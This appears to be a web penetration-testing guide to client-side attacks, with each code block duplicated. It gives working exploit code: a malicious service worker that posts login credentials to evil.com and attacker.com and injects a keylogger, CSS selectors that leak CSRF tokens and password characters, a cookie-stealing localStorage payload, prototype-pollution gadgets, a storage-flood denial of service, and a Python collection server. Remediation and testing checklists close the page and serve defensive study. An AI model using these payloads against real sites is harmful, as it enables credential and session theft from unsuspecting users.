Exploitation A03 A07

Client-Side Attacks

Beyond traditional XSS — advanced browser-side attack techniques targeting the DOM, Window APIs, service workers, CSS parsing, and cross-origin communication mechanisms.

Why Client-Side Attacks Matter

Modern SPAs shift logic to the browser. DOM manipulation, cross-origin messaging, and browser APIs create attack surfaces that server-side WAFs cannot see. These attacks bypass traditional protections and are frequently overlooked in penetration tests.

🛠️ Tools

DOM Invader (Burp)

Browser extension for DOM-based vuln testing

PPScan

Prototype pollution scanner

postMessage-tracker

Chrome extension to intercept postMessages

Service Worker Detector

Chrome extension to detect SWs on pages

Browser DevTools

Application → Service Workers, Storage, Frames

CSSInjection

CSS exfiltration payload generator

1. DOM Clobbering

DOM clobbering uses HTML elements to overwrite JavaScript variables and DOM properties. Named elements (id and name attributes) are automatically registered as properties on the window object and document.

Warning

DOM clobbering doesn't require script execution — it works with sanitizers that allow HTML tags but strip JavaScript.
html
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
  // Developer expects 'config' to be a JS object
  let url = window.config?.baseUrl || '/default';
  fetch(url + '/api/data');
</script>

<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
     window.config.href = "https://evil.com"
     If code accesses window.config.href, it's clobbered -->

<!-- Deeper clobbering with form + input -->
<form id="config">
  <input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->

<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect -->
<!-- Target code pattern vulnerable to DOM clobbering -->
<script>
  // Developer expects 'config' to be a JS object
  let url = window.config?.baseUrl || '/default';
  fetch(url + '/api/data');
</script>

<!-- Attacker injects (e.g., via HTML injection in a comment field) -->
<a id="config" href="https://evil.com">
<!-- Now window.config.baseUrl returns undefined, but
     window.config.href = "https://evil.com"
     If code accesses window.config.href, it's clobbered -->

<!-- Deeper clobbering with form + input -->
<form id="config">
  <input name="baseUrl" value="https://evil.com">
</form>
<!-- window.config.baseUrl.value = "https://evil.com" -->

<!-- Clobbering document.getElementById -->
<img id="someElement" name="someElement" src="x">
<!-- document.getElementById("someElement") might not return what devs expect -->

Detection Approach

javascript
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized

// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
  const src = s.textContent;
  const patterns = [
    /window.(w+)s*(?.|&&|||)/g,
    /document.w+s*||/g,
  ];
  patterns.forEach(p => {
    let match;
    while ((match = p.exec(src)) !== null) {
      console.log('Potential clobbering target:', match[0]);
    }
  });
});
// Console check: identify clobberable properties
// Look for code patterns like:
// - window.CONFIG || defaults
// - typeof someGlobal !== 'undefined'
// - document.getElementById() results used unsanitized

// In DevTools Console:
// 1. Search JS for patterns
const scripts = document.querySelectorAll('script');
scripts.forEach(s => {
  const src = s.textContent;
  const patterns = [
    /window.(w+)s*(?.|&&|||)/g,
    /document.w+s*||/g,
  ];
  patterns.forEach(p => {
    let match;
    while ((match = p.exec(src)) !== null) {
      console.log('Potential clobbering target:', match[0]);
    }
  });
});

2. postMessage Abuse

window.postMessage() enables cross-origin communication between windows. Vulnerabilities arise when the receiver doesn't validate the message origin, or when the sender targets "*".

html
<!-- VULNERABLE receiver: no origin check -->
<script>
  window.addEventListener('message', function(event) {
    // ❌ No origin validation!
    document.getElementById('output').innerHTML = event.data.html;
    // Or: eval(event.data.code);
    // Or: window.location = event.data.redirect;
  });
</script>

<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
  const target = document.getElementById('target');
  target.onload = function() {
    // XSS via postMessage
    target.contentWindow.postMessage({
      html: '<img src=x onerror=alert(document.domain)>'
    }, '*');
    
    // Or redirect to phishing
    target.contentWindow.postMessage({
      redirect: 'https://evil.com/phish'
    }, '*');
  };
</script>
<!-- VULNERABLE receiver: no origin check -->
<script>
  window.addEventListener('message', function(event) {
    // ❌ No origin validation!
    document.getElementById('output').innerHTML = event.data.html;
    // Or: eval(event.data.code);
    // Or: window.location = event.data.redirect;
  });
</script>

<!-- Attacker exploit page (hosted on evil.com) -->
<iframe src="https://target.com/vulnerable-page" id="target"></iframe>
<script>
  const target = document.getElementById('target');
  target.onload = function() {
    // XSS via postMessage
    target.contentWindow.postMessage({
      html: '<img src=x onerror=alert(document.domain)>'
    }, '*');
    
    // Or redirect to phishing
    target.contentWindow.postMessage({
      redirect: 'https://evil.com/phish'
    }, '*');
  };
</script>

Finding postMessage Listeners

javascript
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message

// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"

// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
  if (type === 'message') {
    console.log('Message listener registered:', listener.toString().substring(0, 200));
    console.trace();
  }
  return originalAddEventListener.call(this, type, listener, options);
};

// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data
// DevTools Console: find all message event listeners
// Method 1: Use getEventListeners (Chrome only)
getEventListeners(window).message

// Method 2: Search source code
// Burp Suite → Target → Search: "addEventListener.*message"
// or "onmessage" or "postMessage"

// Method 3: Monkey-patch to intercept
const originalAddEventListener = window.addEventListener;
window.addEventListener = function(type, listener, options) {
  if (type === 'message') {
    console.log('Message listener registered:', listener.toString().substring(0, 200));
    console.trace();
  }
  return originalAddEventListener.call(this, type, listener, options);
};

// Method 4: postMessage-tracker browser extension
// Logs all postMessage calls with source, target, and data

3. Prototype Pollution

Prototype pollution allows attackers to inject properties into JavaScript object prototypes, affecting all objects in the application. This can lead to XSS, auth bypass, or DoS.

javascript
// Vulnerable merge/extend function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}

const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!

// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)

// Common gadgets:
// - jQuery: __proto__[jquery]=x  
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script>
// Vulnerable merge/extend function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      if (!target[key]) target[key] = {};
      merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
}

// Exploitation via URL parameters or JSON input
// ?__proto__[isAdmin]=true
// or JSON: {"__proto__": {"isAdmin": true}}

const userInput = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, userInput);

// Now ALL objects inherit isAdmin:
const user = {};
console.log(user.isAdmin); // true!

// XSS gadgets via prototype pollution
// If library checks obj.innerHTML or obj.src:
// ?__proto__[innerHTML]=<img src=x onerror=alert(1)>
// ?__proto__[src]=javascript:alert(1)

// Common gadgets:
// - jQuery: __proto__[jquery]=x  
// - Lodash: __proto__[template][variable]=<script>...</script>
// - Pug: __proto__[block][type]=Text&__proto__[block][val]=<script>...</script>
bash
# PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"

# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted  
# ?__proto__.test=polluted

# Then check in console:
# ({}).test === "polluted"  → Vulnerable!

# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently
# PPScan - Prototype pollution scanner
# Scan a URL for prototype pollution
ppmap -u "https://target.com/page?q=test"

# Manual testing via URL parameters
# Try these payloads in query strings:
# ?__proto__[test]=polluted
# ?constructor[prototype][test]=polluted  
# ?__proto__.test=polluted

# Then check in console:
# ({}).test === "polluted"  → Vulnerable!

# Burp Suite approach:
# 1. Intercept JSON POST requests
# 2. Inject: {"__proto__": {"polluted": "yes"}}
# 3. Check if subsequent responses behave differently

4. Service Worker Attacks

Service workers are powerful scripts that intercept network requests, cache responses, and run in the background. A malicious service worker persists across page reloads and browser restarts.

Danger

A hijacked or malicious service worker can intercept all HTTPS requests from the scope, modify responses, steal credentials, and persist even after the XSS that installed it is patched.
javascript
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)

// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
  const url = new URL(event.request.url);
  
  // Intercept login requests → steal credentials
  if (url.pathname === '/api/login') {
    event.respondWith(
      event.request.clone().text().then(body => {
        // Exfiltrate credentials
        fetch('https://evil.com/log', {
          method: 'POST',
          body: body,
          mode: 'no-cors'
        });
        return fetch(event.request); // Forward original request
      })
    );
    return;
  }
  
  // Inject script into HTML responses
  if (event.request.headers.get('accept')?.includes('text/html')) {
    event.respondWith(
      fetch(event.request).then(response => {
        return response.text().then(html => {
          const modified = html.replace('</body>',
            '<script src="https://evil.com/keylogger.js"></script></body>');
          return new Response(modified, {
            headers: response.headers
          });
        });
      })
    );
    return;
  }
  
  event.respondWith(fetch(event.request));
});

// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})
// If attacker can upload a JS file to the target origin
// (via file upload, path traversal, etc.)

// Malicious service worker (sw.js uploaded to target):
self.addEventListener('fetch', function(event) {
  const url = new URL(event.request.url);
  
  // Intercept login requests → steal credentials
  if (url.pathname === '/api/login') {
    event.respondWith(
      event.request.clone().text().then(body => {
        // Exfiltrate credentials
        fetch('https://evil.com/log', {
          method: 'POST',
          body: body,
          mode: 'no-cors'
        });
        return fetch(event.request); // Forward original request
      })
    );
    return;
  }
  
  // Inject script into HTML responses
  if (event.request.headers.get('accept')?.includes('text/html')) {
    event.respondWith(
      fetch(event.request).then(response => {
        return response.text().then(html => {
          const modified = html.replace('</body>',
            '<script src="https://evil.com/keylogger.js"></script></body>');
          return new Response(modified, {
            headers: response.headers
          });
        });
      })
    );
    return;
  }
  
  event.respondWith(fetch(event.request));
});

// Registration from XSS or HTML injection:
// navigator.serviceWorker.register('/uploads/sw.js', {scope: '/'})

Audit Existing Service Workers

javascript
// DevTools → Application → Service Workers
// Check: scope, source URL, status

// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(r => {
    console.log('SW Scope:', r.scope);
    console.log('SW Script:', r.active?.scriptURL);
    console.log('SW State:', r.active?.state);
  });
});

// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)
// DevTools → Application → Service Workers
// Check: scope, source URL, status

// Console check for registered workers:
navigator.serviceWorker.getRegistrations().then(regs => {
  regs.forEach(r => {
    console.log('SW Scope:', r.scope);
    console.log('SW Script:', r.active?.scriptURL);
    console.log('SW State:', r.active?.state);
  });
});

// Look for:
// 1. SW scope covering sensitive paths
// 2. SW source hosted on user-writable paths (/uploads/, /static/)
// 3. SW with import() or importScripts() loading external resources
// 4. SW caching sensitive data (check Cache Storage in DevTools)

5. CSS Injection & Exfiltration

When an attacker can inject arbitrary CSS (via style attributes, <style> tags, or CSS imports), they can exfiltrate sensitive data from the page — including CSRF tokens, email addresses, and more.

css
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */

input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */

/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */

/* Data exfiltration via @font-face unicode-range */
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=A);
  unicode-range: U+0041; /* 'A' */
}
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=B);
  unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }

/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }
/* CSRF Token exfiltration via CSS attribute selectors */
/* Inject this CSS to leak a hidden input's value char-by-char */

input[name="csrf"][value^="a"] { background: url(https://evil.com/leak?csrf=a) }
input[name="csrf"][value^="b"] { background: url(https://evil.com/leak?csrf=b) }
input[name="csrf"][value^="c"] { background: url(https://evil.com/leak?csrf=c) }
/* ... generate for all chars a-z, A-Z, 0-9 ... */

/* After first char is known (e.g., "d"), refine: */
input[name="csrf"][value^="da"] { background: url(https://evil.com/leak?csrf=da) }
input[name="csrf"][value^="db"] { background: url(https://evil.com/leak?csrf=db) }
/* Repeat until full token is extracted */

/* Data exfiltration via @font-face unicode-range */
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=A);
  unicode-range: U+0041; /* 'A' */
}
@font-face {
  font-family: "leak";
  src: url(https://evil.com/leak?char=B);
  unicode-range: U+0042; /* 'B' */
}
/* Apply to element containing sensitive text */
.secret-element { font-family: "leak"; }

/* Keylogging via CSS (limited but stealthy) */
input[type="password"][value$="a"] { background: url(https://evil.com/k?=a) }
input[type="password"][value$="b"] { background: url(https://evil.com/k?=b) }
python
# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if params:
            print(f"[LEAK] {params}")
            with open('exfiltrated.txt', 'a') as f:
                f.write(f"{params}\n")
        self.send_response(200)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass  # Suppress default logging

HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()
# Python server to collect CSS-exfiltrated data
from http.server import HTTPServer, BaseHTTPRequestHandler
import urllib.parse

class LeakHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        params = urllib.parse.parse_qs(parsed.query)
        if params:
            print(f"[LEAK] {params}")
            with open('exfiltrated.txt', 'a') as f:
                f.write(f"{params}\n")
        self.send_response(200)
        self.end_headers()
    
    def log_message(self, format, *args):
        pass  # Suppress default logging

HTTPServer(('0.0.0.0', 8888), LeakHandler).serve_forever()

6. Web Worker & SharedArrayBuffer Attacks

javascript
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug

// From XSS, create an inline worker:
const code = `
  // Runs in worker context — no DOM access but can make requests
  setInterval(() => {
    fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
  }, 30000);
  
  // Crypto mining in worker (CPU abuse)
  // Or use for distributed scanning
  self.onmessage = function(e) {
    // Receive commands from the main thread
    if (e.data.type === 'scan') {
      fetch(e.data.url).then(r => r.text()).then(html => {
        self.postMessage({url: e.data.url, html: html});
      });
    }
  };
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
//           Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre
// Web Workers for stealthy payload execution
// Workers run in a separate thread — harder to debug

// From XSS, create an inline worker:
const code = `
  // Runs in worker context — no DOM access but can make requests
  setInterval(() => {
    fetch('https://evil.com/heartbeat', {mode: 'no-cors'});
  }, 30000);
  
  // Crypto mining in worker (CPU abuse)
  // Or use for distributed scanning
  self.onmessage = function(e) {
    // Receive commands from the main thread
    if (e.data.type === 'scan') {
      fetch(e.data.url).then(r => r.text()).then(html => {
        self.postMessage({url: e.data.url, html: html});
      });
    }
  };
`;
const blob = new Blob([code], {type: 'application/javascript'});
const worker = new Worker(URL.createObjectURL(blob));

// SharedArrayBuffer timing attacks (Spectre-style)
// Requires: Cross-Origin-Opener-Policy: same-origin
//           Cross-Origin-Embedder-Policy: require-corp
// Used for high-resolution timers to exploit Spectre

🛡️ Remediation & Defense

Defensive Measures

DOM Clobbering Prevention

  • • Use Object.create(null) for config objects
  • • Avoid relying on named DOM property access
  • • Use hasOwnProperty() checks
  • • Use DOMPurify with SANITIZE_NAMED_PROPS

postMessage Hardening

  • • Always validate event.origin
  • • Never use "*" as targetOrigin
  • • Validate and sanitize event.data
  • • Use structured clone for complex data

Prototype Pollution Prevention

  • • Validate/reject __proto__, constructor, prototype keys
  • • Use Object.freeze(Object.prototype)
  • • Use Map instead of plain objects for user data
  • • Use schema validation (Joi, Zod) on input

Service Worker & CSS Controls

  • • Restrict SW registration scope via Service-Worker-Allowed
  • • Limit file upload paths to non-executable directories
  • • Strict CSP: style-src 'self' (no 'unsafe-inline')
  • • Set COOP/COEP headers to isolate origins

CWE References: CWE-79 (XSS), CWE-1321 (Prototype Pollution), CWE-345 (Insufficient Verification of Data Authenticity), CWE-940 (Improper Verification of Source of a Communication Channel)

✅ Client-Side Testing Checklist

DOM Attacks
  • ☐ Test DOM clobbering on global vars
  • ☐ Check prototype pollution via params
  • ☐ Audit postMessage listeners (origin check)
  • ☐ Test postMessage with malicious data
Persistence
  • ☐ Enumerate service workers
  • ☐ Check SW scope and source paths
  • ☐ Test SW registration from XSS
  • ☐ Inspect web worker usage
  • ☐ Test SW importScripts poisoning
Exfiltration
  • ☐ Test CSS injection for data leak
  • ☐ Check for CSS import injection
  • ☐ Verify CSP blocks inline styles
  • ☐ Test font-face exfiltration
  • ☐ Test localStorage/sessionStorage poisoning
  • ☐ Test IndexedDB data theft
  • ☐ Test window.name cross-origin data

🔬 Advanced Client-Side Techniques

localStorage / sessionStorage Poisoning

Web Storage APIs are same-origin but data stored there is often rendered without sanitization, creating persistent XSS vectors:

javascript
// Storage-based XSS: if app reads from storage and renders without sanitization
// Poison storage via XSS, then the payload persists across page loads

// Step 1: Identify storage usage
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  console.log(key, ':', localStorage.getItem(key));
}

// Step 2: Find keys whose values are rendered in the DOM
// Look for patterns like: document.getElementById('name').innerHTML = localStorage.getItem('username')

// Step 3: Poison storage with XSS payload
localStorage.setItem('username', '<img src=x onerror=fetch("https://attacker.com/c?d="+document.cookie)>');
localStorage.setItem('theme', '"><script>alert(document.domain)</script>');
localStorage.setItem('lang', 'en</option><script>alert(1)</script>');

// Storage quota attack — fill up storage to cause app errors
// localStorage has ~5-10MB limit per origin
const largeData = 'A'.repeat(1024 * 1024); // 1MB string
try {
  for (let i = 0; i < 10; i++) {
    localStorage.setItem('flood_' + i, largeData);
  }
} catch(e) {
  console.log('Storage full - app may fail:', e);
}

// sessionStorage poisoning via window.open
// Parent can write to child's sessionStorage if same origin
const child = window.open('https://target.com/dashboard');
child.sessionStorage.setItem('token', 'attacker_controlled_token');
// Storage-based XSS: if app reads from storage and renders without sanitization
// Poison storage via XSS, then the payload persists across page loads

// Step 1: Identify storage usage
for (let i = 0; i < localStorage.length; i++) {
  const key = localStorage.key(i);
  console.log(key, ':', localStorage.getItem(key));
}

// Step 2: Find keys whose values are rendered in the DOM
// Look for patterns like: document.getElementById('name').innerHTML = localStorage.getItem('username')

// Step 3: Poison storage with XSS payload
localStorage.setItem('username', '<img src=x onerror=fetch("https://attacker.com/c?d="+document.cookie)>');
localStorage.setItem('theme', '"><script>alert(document.domain)</script>');
localStorage.setItem('lang', 'en</option><script>alert(1)</script>');

// Storage quota attack — fill up storage to cause app errors
// localStorage has ~5-10MB limit per origin
const largeData = 'A'.repeat(1024 * 1024); // 1MB string
try {
  for (let i = 0; i < 10; i++) {
    localStorage.setItem('flood_' + i, largeData);
  }
} catch(e) {
  console.log('Storage full - app may fail:', e);
}

// sessionStorage poisoning via window.open
// Parent can write to child's sessionStorage if same origin
const child = window.open('https://target.com/dashboard');
child.sessionStorage.setItem('token', 'attacker_controlled_token');

IndexedDB Attacks

IndexedDB stores structured data client-side. Applications using it for caching, offline storage, or session data may be vulnerable:

javascript
// Enumerate all IndexedDB databases (Chrome/Edge)
const databases = await indexedDB.databases();
console.log('Databases:', databases);

// Open and dump a database
const request = indexedDB.open('appDatabase', 1);
request.onsuccess = (event) => {
  const db = event.target.result;
  console.log('Object stores:', Array.from(db.objectStoreNames));
  
  // Dump all data from each store
  for (const storeName of db.objectStoreNames) {
    const tx = db.transaction(storeName, 'readonly');
    const store = tx.objectStore(storeName);
    store.getAll().onsuccess = (e) => {
      console.log(storeName, ':', JSON.stringify(e.target.result));
      // Look for: tokens, user data, cached API responses, encryption keys
    };
  }
};

// IndexedDB injection — modify cached data
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
store.put({
  id: 1,
  name: '<img src=x onerror=alert(1)>',  // XSS if rendered unsanitized
  role: 'admin'  // Privilege escalation if app trusts cached role
});

// IndexedDB persistence — survive cookie/storage clearing
// Some apps clear cookies but forget IndexedDB
// Useful for maintaining XSS persistence across "logout"
// Enumerate all IndexedDB databases (Chrome/Edge)
const databases = await indexedDB.databases();
console.log('Databases:', databases);

// Open and dump a database
const request = indexedDB.open('appDatabase', 1);
request.onsuccess = (event) => {
  const db = event.target.result;
  console.log('Object stores:', Array.from(db.objectStoreNames));
  
  // Dump all data from each store
  for (const storeName of db.objectStoreNames) {
    const tx = db.transaction(storeName, 'readonly');
    const store = tx.objectStore(storeName);
    store.getAll().onsuccess = (e) => {
      console.log(storeName, ':', JSON.stringify(e.target.result));
      // Look for: tokens, user data, cached API responses, encryption keys
    };
  }
};

// IndexedDB injection — modify cached data
const tx = db.transaction('users', 'readwrite');
const store = tx.objectStore('users');
store.put({
  id: 1,
  name: '<img src=x onerror=alert(1)>',  // XSS if rendered unsanitized
  role: 'admin'  // Privilege escalation if app trusts cached role
});

// IndexedDB persistence — survive cookie/storage clearing
// Some apps clear cookies but forget IndexedDB
// Useful for maintaining XSS persistence across "logout"

Service Worker Hijacking Deep Dive

javascript
// Service Worker scope takeover
// SW scope is determined by the script's location
// /app/sw.js controls /app/* but if you can register at /sw.js, you control /*

// Check existing service worker registrations
navigator.serviceWorker.getRegistrations().then(registrations => {
  registrations.forEach(reg => {
    console.log('Scope:', reg.scope);
    console.log('Script:', reg.active?.scriptURL);
    console.log('State:', reg.active?.state);
  });
});

// importScripts poisoning — if the SW loads external scripts
// Inside a hijacked SW:
// importScripts('https://attacker.com/malicious-sw-module.js');
// The imported script runs in the SW context with full intercept capability

// Foreign fetch exploitation (Chrome only, now deprecated but check for it)
// A third-party SW that intercepts fetch requests to its origin
// If the third-party origin is compromised, all requests are intercepted

// Update mechanism abuse
// Force SW update by manipulating byte-for-byte comparison
// If you can modify even 1 byte of the SW script (via cache poisoning),
// the browser will treat it as an update and install the new version

// SW-based credential theft
self.addEventListener('fetch', event => {
  const url = new URL(event.request.url);
  if (url.pathname === '/login') {
    // Clone the request to read the body (contains credentials)
    event.request.clone().text().then(body => {
      fetch('https://attacker.com/creds', {
        method: 'POST', body: body, mode: 'no-cors'
      });
    });
  }
  event.respondWith(fetch(event.request));  // Forward normally
});
// Service Worker scope takeover
// SW scope is determined by the script's location
// /app/sw.js controls /app/* but if you can register at /sw.js, you control /*

// Check existing service worker registrations
navigator.serviceWorker.getRegistrations().then(registrations => {
  registrations.forEach(reg => {
    console.log('Scope:', reg.scope);
    console.log('Script:', reg.active?.scriptURL);
    console.log('State:', reg.active?.state);
  });
});

// importScripts poisoning — if the SW loads external scripts
// Inside a hijacked SW:
// importScripts('https://attacker.com/malicious-sw-module.js');
// The imported script runs in the SW context with full intercept capability

// Foreign fetch exploitation (Chrome only, now deprecated but check for it)
// A third-party SW that intercepts fetch requests to its origin
// If the third-party origin is compromised, all requests are intercepted

// Update mechanism abuse
// Force SW update by manipulating byte-for-byte comparison
// If you can modify even 1 byte of the SW script (via cache poisoning),
// the browser will treat it as an update and install the new version

// SW-based credential theft
self.addEventListener('fetch', event => {
  const url = new URL(event.request.url);
  if (url.pathname === '/login') {
    // Clone the request to read the body (contains credentials)
    event.request.clone().text().then(body => {
      fetch('https://attacker.com/creds', {
        method: 'POST', body: body, mode: 'no-cors'
      });
    });
  }
  event.respondWith(fetch(event.request));  // Forward normally
});

window.name Cross-Origin Data Channel

window.name persists across navigations to different origins, making it a stealthy cross-origin data channel:

javascript
// window.name persists when navigating cross-origin
// Attack: Set window.name on target site (via XSS), then navigate to attacker's site

// On target site (via XSS or injection):
window.name = document.cookie + '|' + document.body.innerHTML;
window.location = 'https://attacker.com/collect.html';

// On attacker.com/collect.html:
// window.name still contains the target site's data!
document.write('Stolen: ' + window.name);
fetch('/log', { method: 'POST', body: window.name });

// Two-step data theft (no XSS needed, just open redirect):
// 1. Create page on attacker.com that opens target in iframe
//    <iframe id="f" src="https://target.com/page-with-data-in-window-name"></iframe>
// 2. After load, redirect iframe to same-origin page to read window.name
//    document.getElementById('f').src = 'https://attacker.com/reader.html';
// 3. reader.html reads parent.frames[0].name (now same-origin)

// Defense check: Does the app ever use window.name?
// Look for: window.name assignments, top.name reads, opener.name access
console.log('window.name:', window.name);
console.log('Length:', window.name.length);  // Non-zero = potentially exploitable
// window.name persists when navigating cross-origin
// Attack: Set window.name on target site (via XSS), then navigate to attacker's site

// On target site (via XSS or injection):
window.name = document.cookie + '|' + document.body.innerHTML;
window.location = 'https://attacker.com/collect.html';

// On attacker.com/collect.html:
// window.name still contains the target site's data!
document.write('Stolen: ' + window.name);
fetch('/log', { method: 'POST', body: window.name });

// Two-step data theft (no XSS needed, just open redirect):
// 1. Create page on attacker.com that opens target in iframe
//    <iframe id="f" src="https://target.com/page-with-data-in-window-name"></iframe>
// 2. After load, redirect iframe to same-origin page to read window.name
//    document.getElementById('f').src = 'https://attacker.com/reader.html';
// 3. reader.html reads parent.frames[0].name (now same-origin)

// Defense check: Does the app ever use window.name?
// Look for: window.name assignments, top.name reads, opener.name access
console.log('window.name:', window.name);
console.log('Length:', window.name.length);  // Non-zero = potentially exploitable

Evidence Collection

DOM Manipulation Proof: Capture the DOM clobbering or DOM-based attack showing the manipulated element/property and its impact — use browser DevTools screenshots showing before/after states.

postMessage Exploitation: Record the cross-origin message payload, the missing origin check in the event handler, and the resulting unauthorized action (XSS, data leak, state change).

Storage Access: Document sensitive data found in localStorage/sessionStorage along with the access method — demonstrate that an XSS or same-origin attacker can read authentication tokens or PII.

Service Worker Hijack: If a service worker can be registered from an attacker-controlled path, capture the registration scope, the malicious worker code, and the intercepted requests.

CVSS Range: 4.3 (client-side information disclosure) – 8.8 (DOM-based attack leading to account takeover via token theft)

False Positive Identification

  • Same-Origin Requirement: Many client-side attacks require existing XSS or same-origin code execution — if no injection point exists, the client-side vector is theoretical only.
  • HttpOnly Cookies: If session tokens use HttpOnly and are not stored in localStorage, DOM-based token theft is not possible — verify the actual cookie flags.
  • Origin Validation Present: postMessage handlers that properly check event.origin against an allowlist are not vulnerable even if they process external messages — review the actual handler code.
  • Non-Sensitive Storage: Data in localStorage that is purely cosmetic (theme preferences, UI state) does not constitute a security finding even if accessible cross-tab.